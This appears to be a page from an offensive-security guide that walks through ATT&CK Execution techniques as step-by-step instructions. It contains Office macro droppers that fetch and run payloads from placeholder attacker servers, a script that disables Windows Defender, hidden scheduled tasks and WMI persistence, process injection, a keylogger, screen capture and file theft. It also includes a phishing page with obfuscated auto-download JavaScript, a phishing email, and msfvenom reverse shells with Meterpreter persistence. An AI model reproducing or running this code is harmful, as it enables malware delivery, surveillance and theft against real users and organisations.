Execution

Execution: Command and Scripting Interpreter: Windows Command Shell

1. Crafting the Malicious Document

First, you need to create a macro-enabled document (e.g., a Word document with a .docm extension) that contains a macro. This macro will execute when the victim enables macros in their Office application.

2. Embedding the Macro

Within the document, embed a macro that executes when the document is opened. The macro will use the cmd command to invoke a PowerShell script. Below is an example of a VBA (Visual Basic for Applications) macro that could be used:

Sub AutoOpen()
    CreateObject("WScript.Shell").Run "cmd /c powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command ""Invoke-WebRequest -Uri 'https://staging.server/payload.ps1' -OutFile 'C:\Users\Public\payload.ps1'; Start-Process 'powershell' -ArgumentList '-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Users\Public\payload.ps1'"""
End Sub

This macro does the following:

  • Uses WScript.Shell to run a command in the Windows Command Shell (cmd).

  • The cmd command runs a PowerShell script that:

    • Downloads a secondary payload (payload.ps1) from a remote server (https://staging.server/payload.ps1) using Invoke-WebRequest.

    • Executes the downloaded script in a hidden window.

3. PowerShell Script (payload.ps1)

The downloaded PowerShell script (payload.ps1) is responsible for downloading and installing the secondary payload, disabling Windows Defender, and modifying execution policies. An example of the content of payload.ps1 is shown below:

# Disable Windows Defender real-time protection
Set-MpPreference -DisableRealtimeMonitoring $true

# Modify execution policies to allow all scripts to run
Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Force

# Download the secondary payload securely
Invoke-WebRequest -Uri 'https://staging.server/secondary_payload.exe' -OutFile 'C:\Users\Public\secondary_payload.exe'

# Execute the secondary payload
Start-Process -FilePath 'C:\Users\Public\secondary_payload.exe'

# Establish persistence by creating a scheduled task or modifying the registry (example: scheduled task)
$Action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -File C:\Users\Public\payload.ps1'
$Trigger = New-ScheduledTaskTrigger -AtStartup
$Principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -TaskName 'UpdateCheck' -Description 'Checks for updates at startup'

# Further commands for data collection and environment preparation can be added here

4. Changing the Staging Server's IP Address

To evade IP-based blacklists, you should frequently change the staging server's IP address. This can be achieved by using a dynamic DNS service or rotating through a list of IP addresses. The staging server hosts both the initial PowerShell script (payload.ps1) and the secondary payload (secondary_payload.exe).

Execution: User Execution: Malicious File

1. Crafting the Malicious File

First, you need to create an executable that performs the malicious actions. This executable will be disguised as a PDF document and placed inside a zip file.

Creating the Executable

Use a programming language like C or C++ to create an executable that installs a backdoor. You will also use techniques such as UPX packing and encrypted strings to avoid detection.

Example C code snippet:

#include <windows.h>
#include <tlhelp32.h>

void DecryptStrings(char* str) {
    // Decryption logic for strings
}

void InjectIntoProcess() {
    HANDLE hProcess, hThread;
    PROCESS_INFORMATION pi;
    STARTUPINFO si;
    CONTEXT ctx;
    LPVOID pRemoteImage, pRemoteParams;
    BYTE* pLocalImage, * pLocalParams;
    DWORD dwPID;
    PROCESSENTRY32 pe32;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hSnapshot, &pe32)) {
        do {
            if (lstrcmpi(pe32.szExeFile, TEXT("explorer.exe")) == 0) {
                dwPID = pe32.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnapshot, &pe32));
    }
    CloseHandle(hSnapshot);

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
    // Additional process hollowing logic
}

int main() {
    DecryptStrings("Encrypted strings");
    InjectIntoProcess();
    return 0;
}

Packing the Executable with UPX

Use UPX (Ultimate Packer for eXecutables) to pack the executable, making it more challenging for antivirus software to detect.

upx --best --lzma malicious.exe

2. Creating the Disguised File

Rename the packed executable to make it appear as a PDF document, such as Important_Update.pdf.exe. Ensure the file extension remains .exe but use an icon that resembles a PDF document.

mv malicious.exe Important_Update.pdf.exe

3. Compressing the File

Compress the disguised executable into a zip file named Important_Update.zip.

zip Important_Update.zip Important_Update.pdf.exe

4. Distribution

Distribute the Important_Update.zip file through phishing emails or other social engineering techniques, encouraging the victim to download and open the file.

5. Execution and Backdoor Installation

When the victim downloads and extracts the zip file, they see a file named Important_Update.pdf.exe. Upon executing this file, it runs the packed executable which installs the backdoor.

Execution: Command and Scripting Interpreter: PowerShell

1. Crafting the Initial PowerShell Script

The initial PowerShell script will be obfuscated using base64 encoding and various aliases to make it harder for endpoint security tools to detect.

Example PowerShell Script (Obfuscated)

# Original script before obfuscation
$payloadUrl = "https://staging.server/advanced_backdoor.exe"
$outputPath = "$env:PUBLIC\advanced_backdoor.exe"

# Download and execute the payload
Invoke-WebRequest -Uri $payloadUrl -OutFile $outputPath
Start-Process -FilePath $outputPath

# Base64 encode the script
$originalScript = @"
\$u = "`"https://staging.server/advanced_backdoor.exe`""
\$o = "\$env:PUBLIC\advanced_backdoor.exe"
Invoke-WebRequest -Uri \$u -OutFile \$o
Start-Process -FilePath \$o
"@

$encodedScript = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($originalScript))

# Constructing the final command with aliases and base64 encoded script
$finalCommand = "powershell -NoP -NonI -W Hidden -EncodedCommand $encodedScript"
Write-Output $finalCommand

This PowerShell script does the following:

  1. Defines the URL for the advanced backdoor and the output path.

  2. Downloads the backdoor and executes it using Invoke-WebRequest and Start-Process.

  3. Encodes the script in base64 and uses aliases to obfuscate the final command.

2. Running the Obfuscated PowerShell Command

Executing the Command from Command-Line

powershell -NoP -NonI -W Hidden -EncodedCommand JAB1ACA9ACIAaAB0AHQAcABzADoALwAvAHMAdABhAGcAaQBuAGcALgBzAGUAcgB2AGUAcgAvAGEAZAB2AGEAbgBjAGUAZABfAGIAYQBjAGsAZABvAG8AcgAuAGUAeABlACIAOwAkAG8AIAA9ACIAJABlAG4AdgA6AFAAVQBiAEwASQBDACQAXABhAGQAdgBhAG4AYwBlAGQAXwBiAGEAYwBrAGQAbwBvAHIALgBlAHgAZQAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQAgAC0ATwB1AHQARgBpAGwAZQAgACQAbwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAbwA=

3. Advanced Backdoor

The advanced backdoor executable should be capable of performing various malicious activities such as keylogging, screen capturing, and downloading additional payloads.

Example Functionalities of the Advanced Backdoor

  1. Keylogging:

# Example of PowerShell-based keylogger
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;

public class KeyboardHook {
    [DllImport("user32.dll")]
    private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll")]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll")]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

    private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
    private static LowLevelKeyboardProc _proc = HookCallback;
    private static IntPtr _hookID = IntPtr.Zero;

    public static void Main() {
        _hookID = SetHook(_proc);
        Application.Run();
        UnhookWindowsHookEx(_hookID);
    }

    private static IntPtr SetHook(LowLevelKeyboardProc proc) {
        using (Process curProcess = Process.GetCurrentProcess())
        using (ProcessModule curModule = curProcess.MainModule) {
            return SetWindowsHookEx(13, proc, GetModuleHandle(curModule.ModuleName), 0);
        }
    }

    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
        if (nCode >= 0 && wParam == (IntPtr)0x100) {
            int vkCode = Marshal.ReadInt32(lParam);
            Console.WriteLine((Keys)vkCode);
        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }
}
"@ | Out-Null

[KeyboardHook]::Main()
  1. Screen Capturing:

# Example of PowerShell-based screen capture
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing

$bitmap = New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
$graphics.CopyFromScreen([System.Drawing.Point]::Empty, [System.Drawing.Point]::Empty, $bitmap.Size)
$bitmap.Save("C:\Users\Public\screenshot.png", [System.Drawing.Imaging.ImageFormat]::Png)
  1. Downloading Additional Payloads:

# Example command to download additional payloads
Invoke-WebRequest -Uri "https://staging.server/additional_payload.exe" -OutFile "$env:PUBLIC\additional_payload.exe"
Start-Process -FilePath "$env:PUBLIC\additional_payload.exe"

Execution: Native API

1. Understanding the Windows Native API

The Windows Native API provides functions to interact with the operating system, such as creating processes, reading, and writing memory. These functions can be used to perform malicious activities while appearing legitimate to the operating system and security software.

2. Writing a C/C++ Program to Use Native API

Example Program

Create a C/C++ program that uses the CreateProcess, ReadProcessMemory, and WriteProcessMemory functions to launch malicious processes and manipulate system memory.

Example C code:

#include <windows.h>
#include <stdio.h>

void ExecuteMaliciousProcess() {
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    // Create a new process (e.g., cmd.exe) for demonstration
    if (!CreateProcess(NULL, "C:\\Windows\\System32\\cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
        printf("CreateProcess failed (%d).\n", GetLastError());
        return;
    }

    // Wait for the process to initialize
    WaitForSingleObject(pi.hProcess, INFINITE);

    // Reading and writing process memory (example)
    SIZE_T bytesRead, bytesWritten;
    char buffer[1024];
    if (ReadProcessMemory(pi.hProcess, (LPCVOID)0x00400000, buffer, sizeof(buffer), &bytesRead)) {
        printf("Read %d bytes from process memory.\n", (int)bytesRead);

        // Modify the buffer (malicious code injection example)
        buffer[0] = '\x90';  // NOP instruction (just for demonstration)
        if (WriteProcessMemory(pi.hProcess, (LPVOID)0x00400000, buffer, bytesRead, &bytesWritten)) {
            printf("Wrote %d bytes to process memory.\n", (int)bytesWritten);
        }
    }

    // Close process and thread handles
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

int main() {
    ExecuteMaliciousProcess();
    return 0;
}

3. Compiling the Program

Compile the C/C++ program using a compiler like Visual Studio or GCC for Windows (MinGW).

gcc -o malicious_program.exe malicious_program.c -l kernel32

4. Running the Malicious Program

Execute the compiled program from the command-line to perform the malicious activities.

malicious_program.exe

5. Using Native API for Data Exfiltration and Backdoor Establishment

Example for Data Exfiltration

To maintain real-time data exfiltration, an attacker might continuously read sensitive data from a process memory and send it to a remote server.

Additional Code Snippet for Data Exfiltration:

void ExfiltrateData(HANDLE hProcess) {
    char buffer[1024];
    SIZE_T bytesRead;
    while (ReadProcessMemory(hProcess, (LPCVOID)0x00400000, buffer, sizeof(buffer), &bytesRead)) {
        // Send data to remote server (pseudo code)
        SendDataToServer(buffer, bytesRead);
        Sleep(1000);  // Wait before next read
    }
}

Establishing a Backdoor

To establish a backdoor, the attacker could inject code that establishes a connection to a command and control server, awaiting further instructions.

Additional Code Snippet for Backdoor:

void EstablishBackdoor(HANDLE hProcess) {
    char payload[] = "...";  // Malicious payload code
    SIZE_T bytesWritten;
    LPVOID remotePayload = VirtualAllocEx(hProcess, NULL, sizeof(payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (remotePayload) {
        WriteProcessMemory(hProcess, remotePayload, payload, sizeof(payload), &bytesWritten);
        CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remotePayload, NULL, 0, NULL);
    }
}

Execution: Scheduled Task/Job: Scheduled Task

1. Creating the Scheduled Task

First, you need to create a PowerShell script that will download and execute additional payloads.

Example PowerShell Script

Create a script named update_payload.ps1:

# PowerShell script to download and execute additional payloads
$payloadUrl = "https://malicious.server/payload.exe"
$outputPath = "$env:PUBLIC\payload.exe"

# Download the payload
Invoke-WebRequest -Uri $payloadUrl -OutFile $outputPath

# Execute the payload
Start-Process -FilePath $outputPath

2. Creating the Scheduled Task Using schtasks

Use the schtasks command to create a scheduled task that runs the PowerShell script at regular intervals.

schtasks /create /tn "UpdateCheck" /tr "powershell.exe -ExecutionPolicy Bypass -File C:\path\to\update_payload.ps1" /sc daily /st 00:00 /f

Explanation of parameters:

  • /tn "UpdateCheck": Specifies the name of the task.

  • /tr "powershell.exe -ExecutionPolicy Bypass -File C:\path\to\update_payload.ps1": Specifies the action to run the PowerShell script.

  • /sc daily: Schedules the task to run daily.

  • /st 00:00: Specifies the start time of the task.

  • /f: Forces the creation of the task, replacing any existing task with the same name.

3. Hiding the Scheduled Task

To hide the task and avoid detection, modify the registry to delete the Security Descriptor (SD) value associated with the task. This makes the task invisible in the Task Scheduler GUI and command-line tools.

Deleting the Security Descriptor (SD) Value

Use the reg command to delete the SD value:

reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{TASK-GUID}" /v SD /f

Replace {TASK-GUID} with the actual GUID of the task, which can be found by inspecting the registry keys under:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks

Execution: Command and Scripting Interpreter: Visual Basic

1. Crafting the Malicious VBScript

First, write a VBScript that downloads and executes additional payloads. The script should be obfuscated and named to resemble a legitimate administrative task.

Example VBScript (Obfuscated)

Save the following script as maintenance.vbs:

# Obfuscated VBScript to download and execute payloads

# Function to decode base64 strings
Function Base64Decode(encodedStr)
    Dim xml: Set xml = CreateObject("Msxml2.DOMDocument.3.0")
    Dim el: Set el = xml.createElement("b64")
    el.DataType = "bin.base64"
    el.Text = encodedStr
    Base64Decode = el.nodeTypedValue
End Function

# Encoded PowerShell command
Dim encodedCommand
encodedCommand = "JAB1AD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBtAGEAbABpAGMAbwAuAHMAdQByAHYAZQByAC8AcABhAHkAbABvAGEAZAAuAGUAeABlACIAOwAkAG8APQAkAGUAbgB2ADoAUA..."
# Decode and execute the PowerShell command
Dim shell: Set shell = CreateObject("WScript.Shell")
shell.Run "powershell -NoP -NonI -W Hidden -EncodedCommand " & Base64Decode(encodedCommand), 0, True

In this example:

  1. The Base64Decode function decodes base64-encoded strings.

  2. The encodedCommand variable holds a base64-encoded PowerShell command that downloads and executes a payload.

  3. The script decodes the command and runs it using PowerShell.

2. Obfuscating the Script

Obfuscate the VBScript by encoding the PowerShell command and renaming functions and variables to generic names.

Encoding the PowerShell Command

Encode the PowerShell command using base64. Here is an example PowerShell command to download and execute a payload:

$payloadUrl = "https://malicious.server/payload.exe"
$outputPath = "$env:PUBLIC\payload.exe"
Invoke-WebRequest -Uri $payloadUrl -OutFile $outputPath
Start-Process -FilePath $outputPath

Encode this command to base64:

$command = '$payloadUrl = "https://malicious.server/payload.exe"; $outputPath = "$env:PUBLIC\payload.exe"; Invoke-WebRequest -Uri $payloadUrl -OutFile $outputPath; Start-Process -FilePath $outputPath'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
$encodedCommand

Use the resulting base64 string in the VBScript.

3. Embedding the Script in Routine Tasks

Rename the script to resemble a routine maintenance task and embed it in scheduled tasks or other automation frameworks used by the IT department.

Example of Scheduling the VBScript

Use schtasks to schedule the script to run at regular intervals:

schtasks /create /tn "RoutineMaintenance" /tr "cscript.exe C:\path\to\maintenance.vbs" /sc daily /st 02:00 /f

Explanation of parameters:

  • /tn "RoutineMaintenance": Names the task to resemble a routine maintenance task.

  • /tr "cscript.exe C:\path\to\maintenance.vbs": Specifies the action to run the VBScript using cscript.exe.

  • /sc daily: Schedules the task to run daily.

  • /st 02:00: Specifies the start time of the task.

  • /f: Forces the creation of the task, replacing any existing task with the same name.

Execution: Windows Management Instrumentation

1. Download and Execute the Initial Payload using WMI

Use WMI to run a PowerShell command that downloads and executes the secondary payload.

Example PowerShell Command

Create a PowerShell command that downloads and runs a secondary payload:

$payloadUrl = "https://malicious.server/payload.exe"
$outputPath = "$env:PUBLIC\payload.exe"

Invoke-WebRequest -Uri $payloadUrl -OutFile $outputPath
Start-Process -FilePath $outputPath

Encode this PowerShell command in Base64 to use with WMI:

$command = '$payloadUrl = "https://malicious.server/payload.exe"; $outputPath = "$env:PUBLIC\payload.exe"; Invoke-WebRequest -Uri $payloadUrl -OutFile $outputPath; Start-Process -FilePath $outputPath'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
$encodedCommand

2. Execute the Encoded PowerShell Command using WMI

Use the wmic command to run the encoded PowerShell command via WMI.

wmic process call create "powershell -EncodedCommand <encodedCommand>"

Replace <encodedCommand> with the actual Base64 encoded string generated in the previous step.

3. Ensuring Persistence using WMI

Use WMI to schedule tasks that ensure the malware runs every time the system boots.

Create a WMI Event Subscription for Persistence

WMI event subscriptions can be used to trigger actions based on system events, such as system startup.

# Create an event filter for system startup
wmic /namespace:"\\root\subscription" PATH __EventFilter CREATE Name="StartupEventFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"

# Create an event consumer to run the PowerShell script
wmic /namespace:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="StartupConsumer", CommandLineTemplate="powershell -ExecutionPolicy Bypass -File C:\path\to\maintenance.ps1"

# Bind the event filter to the event consumer
wmic /namespace:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name='StartupEventFilter'", Consumer="CommandLineEventConsumer.Name='StartupConsumer'"

4. Example Script for Secondary Payload

Create the PowerShell script (maintenance.ps1) that the event consumer will execute. This script can perform various malicious activities such as keylogging, taking screenshots, and stealing files.

Example PowerShell Script

# Keylogging example
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;

public class KeyboardHook {
    [DllImport("user32.dll")]
    private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll")]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll")]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

    private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
    private static LowLevelKeyboardProc _proc = HookCallback;
    private static IntPtr _hookID = IntPtr.Zero;

    public static void Main() {
        _hookID = SetHook(_proc);
        Application.Run();
        UnhookWindowsHookEx(_hookID);
    }

    private static IntPtr SetHook(LowLevelKeyboardProc proc) {
        using (Process curProcess = Process.GetCurrentProcess())
        using (ProcessModule curModule = curProcess.MainModule) {
            return SetWindowsHookEx(13, proc, GetModuleHandle(curModule.ModuleName), 0);
        }
    }

    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
        if (nCode >= 0 && wParam == (IntPtr)0x100) {
            int vkCode = Marshal.ReadInt32(lParam);
            Console.WriteLine((Keys)vkCode);
        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }
}
"@ | Out-Null

[KeyboardHook]::Main()

# Screen capture example
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing

$bitmap = New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
$graphics.CopyFromScreen([System.Drawing.Point]::Empty, [System.Drawing.Point]::Empty, $bitmap.Size)
$bitmap.Save("C:\Users\Public\screenshot.png", [System.Drawing.Imaging.ImageFormat]::Png)

# Stealing files example
$files = Get-ChildItem -Path "C:\Users\Public\Documents" -Filter *.txt
foreach ($file in $files) {
    Copy-Item -Path $file.FullName -Destination "C:\Users\Public\StolenFiles\"
}

1. Setting Up the Malicious Website

First, you need to set up a web server that hosts the malicious payload and serves the phishing page.

Example Web Server Setup

  1. Install a Web Server (e.g., Apache or Nginx):

    sudo apt-get update
    sudo apt-get install apache2 -y
  2. Create the Malicious Payload:

    Create a malicious executable and name it document.pdf.exe. Ensure it has an icon that resembles a PDF file.

    mv malicious.exe /var/www/html/document.pdf.exe
  3. Create the Phishing Page:

    Create an HTML file that looks like a legitimate login page or news site. Add obfuscated JavaScript to trigger the download.

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Company Portal</title>
        <script>
            // Obfuscated JavaScript to trigger the download
            var _0x8b6e=["\x2F\x2F\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x70\x64\x66\x2E\x65\x78\x65","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x61","\x68\x72\x65\x66","\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x70\x64\x66\x2E\x65\x78\x65"];
            var link=document[_0x8b6e[1]](_0x8b6e[2]);
            link[_0x8b6e[3]]=_0x8b6e[4];
            document[_0x8b6e[5]]["appendChild"](link);
            link.click();
        </script>
    </head>
    <body>
        <h1>Welcome to the Company Portal</h1>
        <p>Please click the link to view the latest updates.</p>
    </body>
    </html>

    Save this file as index.html in the web server’s root directory.

    mv index.html /var/www/html/index.html
  4. Enable SSL:

    Use Let's Encrypt to secure the website with SSL.

    sudo apt-get install certbot python3-certbot-apache -y
    sudo certbot --apache -d yourdomain.com

    Follow the prompts to complete the SSL setup.

2. Crafting the Phishing Email

Craft a phishing email that includes the malicious link and sends it to the targeted staff members.

Example Phishing Email

Subject: Important Update from the IT Department

Dear Staff,

We have an important update that requires your immediate attention. Please visit the link below to review the latest security protocols and updates.

[Company Portal](https://yourdomain.com)

Thank you,
IT Department

3. Sending the Phishing Email

Use a command-line email client like sendmail or mail to send the phishing email to the targeted staff members.

Example Using mail Command

First, install the mail command if it's not already installed:

sudo apt-get install mailutils -y

Then, send the phishing email:

echo "Dear Staff,

We have an important update that requires your immediate attention. Please visit the link below to review the latest security protocols and updates.

[Company Portal](https://yourdomain.com)

Thank you,
IT Department" | mail -s "Important Update from the IT Department" staff@example.com

Execution: Exploitation for Client Execution

1. Identifying the Vulnerability

The first step is identifying a specific vulnerability within the software installed on the client's system. Common targets include buffer overflow or memory corruption vulnerabilities. Tools like Nmap, Nessus, or OpenVAS can help identify these vulnerabilities.

2. Crafting the Exploit

Once a vulnerability is identified, the next step is to craft an exploit. For buffer overflow or memory corruption vulnerabilities, this often involves creating a payload that will overflow the buffer and overwrite the return address to point to the shellcode.

Example: Using Metasploit Framework to generate a payload.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your IP> LPORT=<your port> -f exe -o payload.exe

This command generates a Windows executable payload that opens a reverse TCP connection to your IP and port.

3. Delivering the Exploit

Deliver the payload to the target system. This can be done via social engineering, phishing, or leveraging a vulnerable service to upload the payload.

Example: Using a simple HTTP server to deliver the payload.

python3 -m http.server 8080

On the target machine, the user is tricked into downloading and executing the payload:

curl http://<attacker IP>:8080/payload.exe -o payload.exe

4. Exploiting the Vulnerability and Executing the Payload

If the target system is configured to run the downloaded payload automatically (e.g., through a social engineering tactic), the payload will execute and establish a reverse connection.

5. Establishing a Backdoor

The payload executed in the previous step will attempt to connect back to the attacker's machine, providing a Meterpreter session or similar shell.

Example: Using Metasploit to handle the reverse connection.

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <your IP>
set LPORT <your port>
exploit

Once the reverse connection is established, you can run arbitrary commands on the compromised system.

6. Creating a Persistent Backdoor

To maintain access, you can use the Meterpreter session to set up a persistent backdoor.

Example: Using Meterpreter to create a persistent backdoor.

meterpreter > run persistence -U -i 5 -p <your port> -r <your IP>

This command sets up persistence, where -U starts the backdoor at user login, -i 5 is the interval in seconds between connection attempts, -p is the port, and -r is the attacker's IP address.

7. Executing Arbitrary Commands

Now, with the backdoor in place, you can execute any command on the compromised system remotely.

Example: Running a command on the target system.

meterpreter > shell
C:\Windows\System32> whoami

Execution: System Services: Service Execution

1. Create the Malicious Payload

First, you need to create a malicious payload. For this example, we will use Metasploit to generate a payload that connects back to a command and control (C2) server.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your IP> LPORT=<your port> -f exe -o malicious.exe

This command generates an executable payload that establishes a reverse TCP connection to your specified IP and port.

2. Transfer the Payload to the Target System

Next, you need to transfer the payload to the target system. This can be done using various methods such as using a simple HTTP server or exploiting a vulnerability to upload the file.

Example: Using Python's HTTP server to serve the payload.

python3 -m http.server 8080

On the target machine, download the payload using curl or powershell.

curl http://<attacker IP>:8080/malicious.exe -o C:\Windows\Temp\malicious.exe

or

Invoke-WebRequest -Uri http://<attacker IP>:8080/malicious.exe -OutFile C:\Windows\Temp\malicious.exe

3. Create a New Service

Now, create a new Windows service that will execute the malicious payload. Use the sc command to create the service. The service is named and described to resemble legitimate services to avoid detection.

sc create "Windows Update Service" binPath= "C:\Windows\Temp\malicious.exe" start= auto DisplayName= "Windows Update Service" obj= "LocalSystem" password= ""

4. Configure the Service

Ensure the service is configured to run automatically at startup, and with SYSTEM privileges for maximum access.

sc config "Windows Update Service" start= auto
sc config "Windows Update Service" obj= LocalSystem

5. Start the Service

Start the newly created service to execute the malicious payload.

sc start "Windows Update Service"

6. Verify the Service

Ensure the service is running correctly and verify it by checking its status.

sc query "Windows Update Service"

7. Connect Back to the C2 Server

Once the service is started, it will execute the payload, which in this case is a Meterpreter shell that connects back to the attacker's C2 server.

Last updated